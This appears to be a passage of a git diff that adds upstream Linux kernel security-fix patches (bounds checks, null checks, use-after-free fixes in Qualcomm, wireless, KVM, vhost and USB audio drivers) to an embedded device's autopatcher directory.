e73a43245a3055182c1352f9886bd0fc5f12af84 Mon Sep 17 00:00:00 2001 +From: Kaustubh Pandey +Date: Tue, 12 Jun 2018 10:09:53 +0530 +Subject: net: core: null pointer derefernce in sockev_client_cb + +sockev_client_cb creates a netlink message and populates +the nlmsg_data using the socket->sock information. +If socket is closed, while the nlmsg_data is being +populated, a null pointer dereference occurs. + +BUG: KASAN: null-ptr-deref in sockev_client_cb+0x1e4/0x310 +Read of size 2 at addr 0000000000000010 by task syz-executor/9398 +CPU: 6 PID: 9398 Comm: syz-executor Tainted: G W O 4.9.92+ #1 + +Call trace: +[] sockev_client_cb+0x1e4/0x310 +[] notifier_call_chain+0x94/0xe0 +[] __blocking_notifier_call_chain+0x6c/0xb8 +[] blocking_notifier_call_chain+0x40/0x50 +[] sockev_notify net/socket.c:180 [inline] +[] SYSC_listen net/socket.c:1446 [inline] +[] SyS_listen+0x1e0/0x1f8 +[] el0_svc_naked+0x24/0x28 + +CR's Fixed: 2251042 +Change-Id: Iad9eb58cd05fcdc0b5cc1ed24de56b69abb532b4 +Signed-off-by: Sharath Chandra Vurukala +Signed-off-by: Tejaswi Tanikella +Signed-off-by: Kaustubh Pandey +Acked-by: Chinmay Agarwal +--- + net/core/sockev_nlmcast.c | 20 +++++++++++--------- + 1 file changed, 11 insertions(+), 9 deletions(-) + +diff --git a/net/core/sockev_nlmcast.c b/net/core/sockev_nlmcast.c +index 3d7dabe..bade2d2 100644 +--- a/net/core/sockev_nlmcast.c ++++ b/net/core/sockev_nlmcast.c +@@ -70,14 +70,17 @@ static int sockev_client_cb(struct notifier_block *nb, + struct nlmsghdr *nlh; + struct sknlsockevmsg *smsg; + struct socket *sock; ++ struct sock *sk; + + sock = (struct socket *)data; +- if (socknlmsgsk == 0) ++ if (!socknlmsgsk || !sock) + goto done; +- if ((socknlmsgsk == NULL) || (sock == NULL) || (sock->sk == NULL)) ++ ++ sk = sock->sk; ++ if (!sk) + goto done; + +- if (sock->sk->sk_family != AF_INET && sock->sk->sk_family != AF_INET6) ++ if (sk->sk_family != AF_INET && sk->sk_family != AF_INET6) + goto done; + + if (event != SOCKEV_BIND && event != SOCKEV_LISTEN) +@@ -98,12 +101,11 @@ static int sockev_client_cb(struct notifier_block *nb, + smsg = nlmsg_data(nlh); + smsg->pid = current->pid; + _sockev_event(event, smsg->event, sizeof(smsg->event)); +- smsg->skfamily = sock->sk->sk_family; +- smsg->skstate = sock->sk->sk_state; +- smsg->skprotocol = sock->sk->sk_protocol; +- smsg->sktype = sock->sk->sk_type; +- smsg->skflags = sock->sk->sk_flags; +- ++ smsg->skfamily = sk->sk_family; ++ smsg->skstate = sk->sk_state; ++ smsg->skprotocol = sk->sk_protocol; ++ smsg->sktype = sk->sk_type; ++ smsg->skflags = sk->sk_flags; + nlmsg_notify(socknlmsgsk, skb, 0, SKNLGRP_SOCKEV, 0, GFP_KERNEL); + done: + return 0; +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0542-4eb791e7d9ad-msm adm Fix memory overread in adm callback.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0542-4eb791e7d9ad-msm adm Fix memory overread in adm callback.patch new file mode 100644 index 0000000..611021f --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0542-4eb791e7d9ad-msm adm Fix memory overread in adm callback.patch @@ -0,0 +1,34 @@ +From 4eb791e7d9ad856e1197ab028cf8f066088fa2bd Mon Sep 17 00:00:00 2001 +From: Soumya Managoli +Date: Wed, 9 Oct 2019 18:11:02 +0530 +Subject: msm: adm: Fix memory overread in adm callback + +For ADM_CMDRSP_GET_PP_PARAMS_V5 cmd response, +the check for data payload_size is incorrect. +Modify the check condition to make sure there +is enough data to copy, size is contained in +payload[3]. + +Change-Id: I2f155ad8b302e89131ee85cfc72e4009dda617d3 +Signed-off-by: Soumya Managoli +--- + sound/soc/msm/qdsp6v2/q6adm.c | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +diff --git a/sound/soc/msm/qdsp6v2/q6adm.c b/sound/soc/msm/qdsp6v2/q6adm.c +index 2cbd170..959f0b3 100644 +--- a/sound/soc/msm/qdsp6v2/q6adm.c ++++ b/sound/soc/msm/qdsp6v2/q6adm.c +@@ -1572,7 +1572,8 @@ static int32_t adm_callback(struct apr_client_data *data, void *priv) + idx = ADM_GET_PARAMETER_LENGTH * copp_idx; + if ((payload[0] == 0) && (data->payload_size > + (4 * sizeof(*payload))) && +- (data->payload_size - 4 >= ++ (data->payload_size - ++ (4 * sizeof(*payload)) >= + payload[3]) && + (ARRAY_SIZE(adm_get_parameters) > + idx) && +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0543-c4f42c24e02c-qseecom Clear client handle after unmap the resources.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0543-c4f42c24e02c-qseecom Clear client handle after unmap the resources.patch new file mode 100644 index 0000000..408f5ce --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0543-c4f42c24e02c-qseecom Clear client handle after unmap the resources.patch @@ -0,0 +1,31 @@ +From c4f42c24e02ce82392d8f8fe215570568380c8ab Mon Sep 17 00:00:00 2001 +From: jitendrathakare +Date: Thu, 12 Sep 2019 19:46:48 +0530 +Subject: qseecom : Clear client handle after unmap the resources + +When unloading the app, reset all client members to NULL +to protect from accessing the memory after being freed. + +Change-Id: I573b9c6fde03539522d2b04724a2246660c62518 +Signed-off-by: jitendra thakare +--- + drivers/misc/qseecom.c | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +diff --git a/drivers/misc/qseecom.c b/drivers/misc/qseecom.c +index 14a415b..f32d4de 100644 +--- a/drivers/misc/qseecom.c ++++ b/drivers/misc/qseecom.c +@@ -2484,7 +2484,8 @@ static int qseecom_unmap_ion_allocated_memory(struct qseecom_dev_handle *data) + if (!IS_ERR_OR_NULL(data->client.ihandle)) { + ion_unmap_kernel(qseecom.ion_clnt, data->client.ihandle); + ion_free(qseecom.ion_clnt, data->client.ihandle); +- data->client.ihandle = NULL; ++ memset((void *)&data->client, ++ 0, sizeof(struct qseecom_client_handle)); + } + return ret; + } +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0544-3cca948bcc69-qseecom check invalid handle for app loaded query request.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0544-3cca948bcc69-qseecom check invalid handle for app loaded query request.patch new file mode 100644 index 0000000..1c15413 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0544-3cca948bcc69-qseecom check invalid handle for app loaded query request.patch @@ -0,0 +1,36 @@ +From 3cca948bcc6939f1fffab09d1062ffa8ebe9a9c4 Mon Sep 17 00:00:00 2001 +From: Zhen Kong +Date: Fri, 30 Aug 2019 10:50:25 -0700 +Subject: qseecom: check invalid handle for app loaded query request + +Check if the handle data type received from userspace is valid +for app loaded query request to avoid the offset boundary check +for qseecom_send_modfd_resp is bypassed. + +Change-Id: I5f3611a8f830d6904213781c5ba70cfc0ba3e2e0 +Signed-off-by: Zhen Kong +--- + drivers/misc/qseecom.c | 7 +++++++ + 1 file changed, 7 insertions(+) + +diff --git a/drivers/misc/qseecom.c b/drivers/misc/qseecom.c +index bf87ed2..1d6a992 100644 +--- a/drivers/misc/qseecom.c ++++ b/drivers/misc/qseecom.c +@@ -7345,6 +7345,13 @@ static inline long qseecom_ioctl(struct file *file, + break; + } + case QSEECOM_IOCTL_APP_LOADED_QUERY_REQ: { ++ if ((data->type != QSEECOM_GENERIC) && ++ (data->type != QSEECOM_CLIENT_APP)) { ++ pr_err("app loaded query req: invalid handle (%d)\n", ++ data->type); ++ ret = -EINVAL; ++ break; ++ } + data->type = QSEECOM_CLIENT_APP; + mutex_lock(&app_access_lock); + atomic_inc(&data->ioctl_count); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0545-c0cb07498306-diag Mark Buffer as NULL after freeing.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0545-c0cb07498306-diag Mark Buffer as NULL after freeing.patch new file mode 100644 index 0000000..23dcd15 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0545-c0cb07498306-diag Mark Buffer as NULL after freeing.patch @@ -0,0 +1,31 @@ +From c0cb074983060d6ff46e312a9db81fde869cd63b Mon Sep 17 00:00:00 2001 +From: Hardik Arya +Date: Fri, 23 Nov 2018 10:41:41 +0530 +Subject: diag: Mark Buffer as NULL after freeing + +There is a possibility of use-after-free and +double free because of not marking buffer as +NULL after freeing. The patch marks buffer +as NULL after freeing in error case. + +Change-Id: Iacf8f8a4a4e644f48c87d5445ccd594766f2e156 +Signed-off-by: Hardik Arya +--- + drivers/char/diag/diag_masks.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/drivers/char/diag/diag_masks.c b/drivers/char/diag/diag_masks.c +index 41ab338..8d53a06 100644 +--- a/drivers/char/diag/diag_masks.c ++++ b/drivers/char/diag/diag_masks.c +@@ -1773,6 +1773,7 @@ static int __diag_mask_init(struct diag_mask_info *mask_info, int mask_len, + mask_info->update_buf = kzalloc(update_buf_len, GFP_KERNEL); + if (!mask_info->update_buf) { + kfree(mask_info->ptr); ++ mask_info->ptr = NULL; + return -ENOMEM; + } + kmemleak_not_leak(mask_info->update_buf); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0546.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0546.diff new file mode 100644 index 0000000..564c106 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0546.diff @@ -0,0 +1,23 @@ +diff --git a/drivers/block/floppy.c b/drivers/block/floppy.c +index f653168..cb07c9b 100644 +--- a/drivers/block/floppy.c ++++ b/drivers/block/floppy.c +@@ -2114,6 +2114,9 @@ + raw_cmd->kernel_data = floppy_track_buffer; + raw_cmd->length = 4 * F_SECT_PER_TRACK; + ++ if (!F_SECT_PER_TRACK) ++ return; ++ + /* allow for about 30ms for data transport per track */ + head_shift = (F_SECT_PER_TRACK + 5) / 6; + +@@ -3236,6 +3239,8 @@ + /* sanity checking for parameters. */ + if (g->sect <= 0 || + g->head <= 0 || ++ /* check for zero in F_SECT_PER_TRACK */ ++ (unsigned char)((g->sect << 2) >> FD_SIZECODE(g)) == 0 || + g->track <= 0 || g->track > UDP->tracks >> STRETCH(g) || + /* check if reserved bits are set */ + (g->stretch & ~(FD_STRETCH | FD_SWAPSIDES | FD_SECTBASEMASK)) != 0) diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0547.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0547.diff new file mode 100644 index 0000000..a4e9670 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0547.diff @@ -0,0 +1,49 @@ +diff --git a/drivers/net/wireless/mwifiex/ie.c b/drivers/net/wireless/mwifiex/ie.c +index b933794..8d7a91d 100644 +--- a/drivers/net/wireless/mwifiex/ie.c ++++ b/drivers/net/wireless/mwifiex/ie.c +@@ -240,6 +240,9 @@ + } + + vs_ie = (struct ieee_types_header *)vendor_ie; ++ if (le16_to_cpu(ie->ie_length) + vs_ie->len + 2 > ++ IEEE_MAX_IE_SIZE) ++ return -EINVAL; + memcpy(ie->ie_buffer + le16_to_cpu(ie->ie_length), + vs_ie, vs_ie->len + 2); + le16_add_cpu(&ie->ie_length, vs_ie->len + 2); +diff --git a/drivers/net/wireless/mwifiex/uap_cmd.c b/drivers/net/wireless/mwifiex/uap_cmd.c +index 300bab4..37cff0f 100644 +--- a/drivers/net/wireless/mwifiex/uap_cmd.c ++++ b/drivers/net/wireless/mwifiex/uap_cmd.c +@@ -269,6 +269,8 @@ + + rate_ie = (void *)cfg80211_find_ie(WLAN_EID_SUPP_RATES, var_pos, len); + if (rate_ie) { ++ if (rate_ie->len > MWIFIEX_SUPPORTED_RATES) ++ return; + memcpy(bss_cfg->rates, rate_ie + 1, rate_ie->len); + rate_len = rate_ie->len; + } +@@ -276,8 +278,11 @@ + rate_ie = (void *)cfg80211_find_ie(WLAN_EID_EXT_SUPP_RATES, + params->beacon.tail, + params->beacon.tail_len); +- if (rate_ie) ++ if (rate_ie) { ++ if (rate_ie->len > MWIFIEX_SUPPORTED_RATES - rate_len) ++ return; + memcpy(bss_cfg->rates + rate_len, rate_ie + 1, rate_ie->len); ++ } + + return; + } +@@ -395,6 +400,8 @@ + params->beacon.tail_len); + if (vendor_ie) { + wmm_ie = (struct ieee_types_header *)vendor_ie; ++ if (*(vendor_ie + 1) > sizeof(struct mwifiex_types_wmm_info)) ++ return; + memcpy(&bss_cfg->wmm_info, wmm_ie + 1, + sizeof(bss_cfg->wmm_info)); + priv->wmm_enabled = 1; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0548.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0548.diff new file mode 100644 index 0000000..a544071 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0548.diff @@ -0,0 +1,55 @@ +diff --git a/virt/kvm/coalesced_mmio.c b/virt/kvm/coalesced_mmio.c +index 00d8642..1c51f7b 100644 +--- a/virt/kvm/coalesced_mmio.c ++++ b/virt/kvm/coalesced_mmio.c +@@ -39,7 +39,7 @@ + return 1; + } + +-static int coalesced_mmio_has_room(struct kvm_coalesced_mmio_dev *dev) ++static int coalesced_mmio_has_room(struct kvm_coalesced_mmio_dev *dev, u32 last) + { + struct kvm_coalesced_mmio_ring *ring; + unsigned avail; +@@ -51,7 +51,7 @@ + * there is always one unused entry in the buffer + */ + ring = dev->kvm->coalesced_mmio_ring; +- avail = (ring->first - ring->last - 1) % KVM_COALESCED_MMIO_MAX; ++ avail = (ring->first - last - 1) % KVM_COALESCED_MMIO_MAX; + if (avail == 0) { + /* full */ + return 0; +@@ -65,24 +65,27 @@ + { + struct kvm_coalesced_mmio_dev *dev = to_mmio(this); + struct kvm_coalesced_mmio_ring *ring = dev->kvm->coalesced_mmio_ring; ++ __u32 insert; + + if (!coalesced_mmio_in_range(dev, addr, len)) + return -EOPNOTSUPP; + + spin_lock(&dev->kvm->ring_lock); + +- if (!coalesced_mmio_has_room(dev)) { ++ insert = READ_ONCE(ring->last); ++ if (!coalesced_mmio_has_room(dev, insert) || ++ insert >= KVM_COALESCED_MMIO_MAX) { + spin_unlock(&dev->kvm->ring_lock); + return -EOPNOTSUPP; + } + + /* copy data in first free entry of the ring */ + +- ring->coalesced_mmio[ring->last].phys_addr = addr; +- ring->coalesced_mmio[ring->last].len = len; +- memcpy(ring->coalesced_mmio[ring->last].data, val, len); ++ ring->coalesced_mmio[insert].phys_addr = addr; ++ ring->coalesced_mmio[insert].len = len; ++ memcpy(ring->coalesced_mmio[insert].data, val, len); + smp_wmb(); +- ring->last = (ring->last + 1) % KVM_COALESCED_MMIO_MAX; ++ ring->last = (insert + 1) % KVM_COALESCED_MMIO_MAX; + spin_unlock(&dev->kvm->ring_lock); + return 0; + } diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0549.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0549.diff new file mode 100644 index 0000000..0dccd91 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0549.diff @@ -0,0 +1,22 @@ +diff --git a/drivers/vhost/vhost.c b/drivers/vhost/vhost.c +index 463c608..f1dc23b 100644 +--- a/drivers/vhost/vhost.c ++++ b/drivers/vhost/vhost.c +@@ -1174,7 +1174,7 @@ + /* If this is an input descriptor, increment that count. */ + if (desc.flags & VRING_DESC_F_WRITE) { + *in_num += ret; +- if (unlikely(log)) { ++ if (unlikely(log && ret)) { + log[*log_num].addr = desc.addr; + log[*log_num].len = desc.len; + ++*log_num; +@@ -1297,7 +1297,7 @@ + /* If this is an input descriptor, + * increment that count. */ + *in_num += ret; +- if (unlikely(log)) { ++ if (unlikely(log && ret)) { + log[*log_num].addr = desc.addr; + log[*log_num].len = desc.len; + ++*log_num; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0550.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0550.diff new file mode 100644 index 0000000..2fbd0be --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0550.diff @@ -0,0 +1,29 @@ +diff --git a/drivers/net/wireless/mwifiex/sta_ioctl.c b/drivers/net/wireless/mwifiex/sta_ioctl.c +index 0ed2484..056f086 100644 +--- a/drivers/net/wireless/mwifiex/sta_ioctl.c ++++ b/drivers/net/wireless/mwifiex/sta_ioctl.c +@@ -223,6 +223,14 @@ + "11D: skip setting domain info in FW\n"); + return 0; + } ++ ++ if (country_ie_len > ++ (IEEE80211_COUNTRY_STRING_LEN + MWIFIEX_MAX_TRIPLET_802_11D)) { ++ wiphy_dbg(priv->wdev->wiphy, ++ "11D: country_ie_len overflow!, deauth AP\n"); ++ return -EINVAL; ++ } ++ + memcpy(priv->adapter->country_code, &country_ie[2], 2); + + domain_info->country_code[0] = country_ie[2]; +@@ -266,7 +274,8 @@ + priv->scan_block = false; + + if (bss) { +- mwifiex_process_country_ie(priv, bss); ++ if (mwifiex_process_country_ie(priv, bss)) ++ return -EINVAL; + + /* Allocate and fill new bss descriptor */ + bss_desc = kzalloc(sizeof(struct mwifiex_bssdescriptor), diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0551.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0551.diff new file mode 100644 index 0000000..b9c316c --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0551.diff @@ -0,0 +1,41 @@ +diff --git a/drivers/net/wireless/libertas/cfg.c b/drivers/net/wireless/libertas/cfg.c +index 34f09ef..b295c76 100644 +--- a/drivers/net/wireless/libertas/cfg.c ++++ b/drivers/net/wireless/libertas/cfg.c +@@ -272,6 +272,10 @@ + int hw, ap, ap_max = ie[1]; + u8 hw_rate; + ++ if (ap_max > MAX_RATES) { ++ lbs_deb_assoc("invalid rates\n"); ++ return tlv; ++ } + /* Advance past IE header */ + ie += 2; + +@@ -1784,6 +1788,9 @@ + struct cmd_ds_802_11_ad_hoc_join cmd; + u8 preamble = RADIO_PREAMBLE_SHORT; + int ret = 0; ++ int hw, i; ++ u8 rates_max; ++ u8 *rates; + + lbs_deb_enter(LBS_DEB_CFG80211); + +@@ -1844,9 +1851,12 @@ + if (!rates_eid) { + lbs_add_rates(cmd.bss.rates); + } else { +- int hw, i; +- u8 rates_max = rates_eid[1]; +- u8 *rates = cmd.bss.rates; ++ rates_max = rates_eid[1]; ++ if (rates_max > MAX_RATES) { ++ lbs_deb_join("invalid rates"); ++ goto out; ++ } ++ rates = cmd.bss.rates; + for (hw = 0; hw < ARRAY_SIZE(lbs_rates); hw++) { + u8 hw_rate = lbs_rates[hw].bitrate / 5; + for (i = 0; i < rates_max; i++) { diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0552.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0552.diff new file mode 100644 index 0000000..b684eaa --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0552.diff @@ -0,0 +1,128 @@ +diff --git a/drivers/net/wireless/mwifiex/tdls.c b/drivers/net/wireless/mwifiex/tdls.c +index e294907..1ce2e7c 100644 +--- a/drivers/net/wireless/mwifiex/tdls.c ++++ b/drivers/net/wireless/mwifiex/tdls.c +@@ -841,59 +841,117 @@ + + switch (*pos) { + case WLAN_EID_SUPP_RATES: ++ if (pos[1] > 32) ++ return; + sta_ptr->tdls_cap.rates_len = pos[1]; + for (i = 0; i < pos[1]; i++) + sta_ptr->tdls_cap.rates[i] = pos[i + 2]; + break; + + case WLAN_EID_EXT_SUPP_RATES: ++ if (pos[1] > 32) ++ return; + basic = sta_ptr->tdls_cap.rates_len; ++ if (pos[1] > 32 - basic) ++ return; + for (i = 0; i < pos[1]; i++) + sta_ptr->tdls_cap.rates[basic + i] = pos[i + 2]; + sta_ptr->tdls_cap.rates_len += pos[1]; + break; + case WLAN_EID_HT_CAPABILITY: +- memcpy((u8 *)&sta_ptr->tdls_cap.ht_capb, pos, ++ if (pos > end - sizeof(struct ieee80211_ht_cap) - 2) ++ return; ++ if (pos[1] != sizeof(struct ieee80211_ht_cap)) ++ return; ++ /* copy the ie's value into ht_capb*/ ++ memcpy((u8 *)&sta_ptr->tdls_cap.ht_capb, pos + 2, + sizeof(struct ieee80211_ht_cap)); + sta_ptr->is_11n_enabled = 1; + break; + case WLAN_EID_HT_OPERATION: +- memcpy(&sta_ptr->tdls_cap.ht_oper, pos, ++ if (pos > end - ++ sizeof(struct ieee80211_ht_operation) - 2) ++ return; ++ if (pos[1] != sizeof(struct ieee80211_ht_operation)) ++ return; ++ /* copy the ie's value into ht_oper*/ ++ memcpy(&sta_ptr->tdls_cap.ht_oper, pos + 2, + sizeof(struct ieee80211_ht_operation)); + break; + case WLAN_EID_BSS_COEX_2040: ++ if (pos > end - 3) ++ return; ++ if (pos[1] != 1) ++ return; + sta_ptr->tdls_cap.coex_2040 = pos[2]; + break; + case WLAN_EID_EXT_CAPABILITY: ++ if (pos > end - sizeof(struct ieee_types_header)) ++ return; ++ if (pos[1] < sizeof(struct ieee_types_header)) ++ return; ++ if (pos[1] > 8) ++ return; + memcpy((u8 *)&sta_ptr->tdls_cap.extcap, pos, + sizeof(struct ieee_types_header) + + min_t(u8, pos[1], 8)); + break; + case WLAN_EID_RSN: ++ if (pos > end - sizeof(struct ieee_types_header)) ++ return; ++ if (pos[1] < sizeof(struct ieee_types_header)) ++ return; ++ if (pos[1] > IEEE_MAX_IE_SIZE - ++ sizeof(struct ieee_types_header)) ++ return; + memcpy((u8 *)&sta_ptr->tdls_cap.rsn_ie, pos, + sizeof(struct ieee_types_header) + + min_t(u8, pos[1], IEEE_MAX_IE_SIZE - + sizeof(struct ieee_types_header))); + break; + case WLAN_EID_QOS_CAPA: ++ if (pos > end - 3) ++ return; ++ if (pos[1] != 1) ++ return; + sta_ptr->tdls_cap.qos_info = pos[2]; + break; + case WLAN_EID_VHT_OPERATION: +- if (priv->adapter->is_hw_11ac_capable) +- memcpy(&sta_ptr->tdls_cap.vhtoper, pos, ++ if (priv->adapter->is_hw_11ac_capable) { ++ if (pos > end - ++ sizeof(struct ieee80211_vht_operation) - 2) ++ return; ++ if (pos[1] != ++ sizeof(struct ieee80211_vht_operation)) ++ return; ++ /* copy the ie's value into vhtoper*/ ++ memcpy(&sta_ptr->tdls_cap.vhtoper, pos + 2, + sizeof(struct ieee80211_vht_operation)); ++ } + break; + case WLAN_EID_VHT_CAPABILITY: + if (priv->adapter->is_hw_11ac_capable) { +- memcpy((u8 *)&sta_ptr->tdls_cap.vhtcap, pos, ++ if (pos > end - ++ sizeof(struct ieee80211_vht_cap) - 2) ++ return; ++ if (pos[1] != sizeof(struct ieee80211_vht_cap)) ++ return; ++ /* copy the ie's value into vhtcap*/ ++ memcpy((u8 *)&sta_ptr->tdls_cap.vhtcap, pos + 2, + sizeof(struct ieee80211_vht_cap)); + sta_ptr->is_11ac_enabled = 1; + } + break; + case WLAN_EID_AID: +- if (priv->adapter->is_hw_11ac_capable) ++ if (priv->adapter->is_hw_11ac_capable) { ++ if (pos > end - 4) ++ return; ++ if (pos[1] != 2) ++ return; + sta_ptr->tdls_cap.aid = + le16_to_cpu(*(__le16 *)(pos + 2)); ++ } ++ break; + default: + break; + } diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0553.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0553.diff new file mode 100644 index 0000000..2dea67f --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0553.diff @@ -0,0 +1,26 @@ +diff --git a/drivers/net/wireless/ath/ath6kl/usb.c b/drivers/net/wireless/ath/ath6kl/usb.c +index a6a5e40..19aae7f 100644 +--- a/drivers/net/wireless/ath/ath6kl/usb.c ++++ b/drivers/net/wireless/ath/ath6kl/usb.c +@@ -132,6 +132,10 @@ + struct ath6kl_urb_context *urb_context = NULL; + unsigned long flags; + ++ /* bail if this pipe is not initialized */ ++ if (!pipe->ar_usb) ++ return NULL; ++ + spin_lock_irqsave(&pipe->ar_usb->cs_lock, flags); + if (!list_empty(&pipe->urb_list_head)) { + urb_context = +@@ -150,6 +154,10 @@ + { + unsigned long flags; + ++ /* bail if this pipe is not initialized */ ++ if (!pipe->ar_usb) ++ return; ++ + spin_lock_irqsave(&pipe->ar_usb->cs_lock, flags); + pipe->urb_cnt++; + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0554.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0554.diff new file mode 100644 index 0000000..486675f --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0554.diff @@ -0,0 +1,12 @@ +diff --git a/sound/usb/mixer.c b/sound/usb/mixer.c +index 673872e..b033dc1 100644 +--- a/sound/usb/mixer.c ++++ b/sound/usb/mixer.c +@@ -1622,6 +1622,7 @@ + int pin, ich, err; + + if (desc->bLength < 11 || !(input_pins = desc->bNrInPins) || ++ desc->bLength < sizeof(*desc) + desc->bNrInPins || + !(num_outs = uac_mixer_unit_bNrChannels(desc))) { + usb_audio_err(state->chip, + "invalid MIXER UNIT descriptor %d\n", diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0555.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0555.diff new file mode 100644 index 0000000..5880797 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0555.diff @@ -0,0 +1,74 @@ +diff --git a/sound/usb/mixer.c b/sound/usb/mixer.c +index f16123a..673872e 100644 +--- a/sound/usb/mixer.c ++++ b/sound/usb/mixer.c +@@ -81,6 +81,7 @@ + unsigned char *buffer; + unsigned int buflen; + DECLARE_BITMAP(unitbitmap, MAX_ID_ELEMS); ++ DECLARE_BITMAP(termbitmap, MAX_ID_ELEMS); + struct usb_audio_term oterm; + const struct usbmix_name_map *map; + const struct usbmix_selector_map *selector_map; +@@ -695,15 +696,24 @@ + * parse the source unit recursively until it reaches to a terminal + * or a branched unit. + */ +-static int check_input_term(struct mixer_build *state, int id, ++static int __check_input_term(struct mixer_build *state, int id, + struct usb_audio_term *term) + { + int err; + void *p1; ++ unsigned char *hdr; + + memset(term, 0, sizeof(*term)); +- while ((p1 = find_audio_control_unit(state, id)) != NULL) { +- unsigned char *hdr = p1; ++ for (;;) { ++ /* a loop in the terminal chain? */ ++ if (test_and_set_bit(id, state->termbitmap)) ++ return -EINVAL; ++ ++ p1 = find_audio_control_unit(state, id); ++ if (!p1) ++ break; ++ ++ hdr = p1; + term->id = id; + switch (hdr[2]) { + case UAC_INPUT_TERMINAL: +@@ -721,7 +731,7 @@ + term->name = d->iTerminal; + + /* call recursively to get the clock selectors */ +- err = check_input_term(state, d->bCSourceID, term); ++ err = __check_input_term(state, d->bCSourceID, term); + if (err < 0) + return err; + } +@@ -744,7 +754,7 @@ + case UAC2_CLOCK_SELECTOR: { + struct uac_selector_unit_descriptor *d = p1; + /* call recursively to retrieve the channel info */ +- err = check_input_term(state, d->baSourceID[0], term); ++ err = __check_input_term(state, d->baSourceID[0], term); + if (err < 0) + return err; + term->type = d->bDescriptorSubtype << 16; /* virtual type */ +@@ -791,6 +801,15 @@ + return -ENODEV; + } + ++ ++static int check_input_term(struct mixer_build *state, int id, ++ struct usb_audio_term *term) ++{ ++ memset(term, 0, sizeof(*term)); ++ memset(state->termbitmap, 0, sizeof(state->termbitmap)); ++ return __check_input_term(state, id, term); ++} ++ + /* + * Feature Unit + */ diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0556.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0556.diff new file mode 100644 index 0000000..2849af3 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0556.diff @@ -0,0 +1,77 @@ +diff --git a/drivers/media/radio/radio-raremono.c b/drivers/media/radio/radio-raremono.c +index bfb3a6d..10958ba 100644 +--- a/drivers/media/radio/radio-raremono.c ++++ b/drivers/media/radio/radio-raremono.c +@@ -283,6 +283,14 @@ + return 0; + } + ++static void raremono_device_release(struct v4l2_device *v4l2_dev) ++{ ++ struct raremono_device *radio = to_raremono_dev(v4l2_dev); ++ ++ kfree(radio->buffer); ++ kfree(radio); ++} ++ + /* File system interface */ + static const struct v4l2_file_operations usb_raremono_fops = { + .owner = THIS_MODULE, +@@ -307,12 +315,14 @@ + struct raremono_device *radio; + int retval = 0; + +- radio = devm_kzalloc(&intf->dev, sizeof(struct raremono_device), GFP_KERNEL); +- if (radio) +- radio->buffer = devm_kmalloc(&intf->dev, BUFFER_LENGTH, GFP_KERNEL); +- +- if (!radio || !radio->buffer) ++ radio = kzalloc(sizeof(*radio), GFP_KERNEL); ++ if (!radio) + return -ENOMEM; ++ radio->buffer = kmalloc(BUFFER_LENGTH, GFP_KERNEL); ++ if (!radio->buffer) { ++ kfree(radio); ++ return -ENOMEM; ++ } + + radio->usbdev = interface_to_usbdev(intf); + radio->intf = intf; +@@ -336,7 +346,8 @@ + if (retval != 3 || + (get_unaligned_be16(&radio->buffer[1]) & 0xfff) == 0x0242) { + dev_info(&intf->dev, "this is not Thanko's Raremono.\n"); +- return -ENODEV; ++ retval = -ENODEV; ++ goto free_mem; + } + + dev_info(&intf->dev, "Thanko's Raremono connected: (%04X:%04X)\n", +@@ -345,7 +356,7 @@ + retval = v4l2_device_register(&intf->dev, &radio->v4l2_dev); + if (retval < 0) { + dev_err(&intf->dev, "couldn't register v4l2_device\n"); +- return retval; ++ goto free_mem; + } + + mutex_init(&radio->lock); +@@ -357,6 +368,7 @@ + radio->vdev.ioctl_ops = &usb_raremono_ioctl_ops; + radio->vdev.lock = &radio->lock; + radio->vdev.release = 